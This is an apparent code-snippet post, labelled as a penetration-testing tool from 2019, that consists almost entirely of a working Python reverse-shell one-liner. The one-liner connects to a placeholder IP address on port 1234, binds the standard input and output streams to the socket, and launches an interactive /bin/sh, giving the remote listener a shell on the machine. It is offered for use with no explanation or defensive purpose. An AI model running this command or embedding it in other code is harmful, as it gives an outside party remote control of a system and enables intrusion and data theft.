Title: reverse_shell.py- exploitation tool used and required in Penetration TestingAuthor: ajayverma
# Reverse shell one-liner python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'



Submitted On: 2019-06-26 09:48:15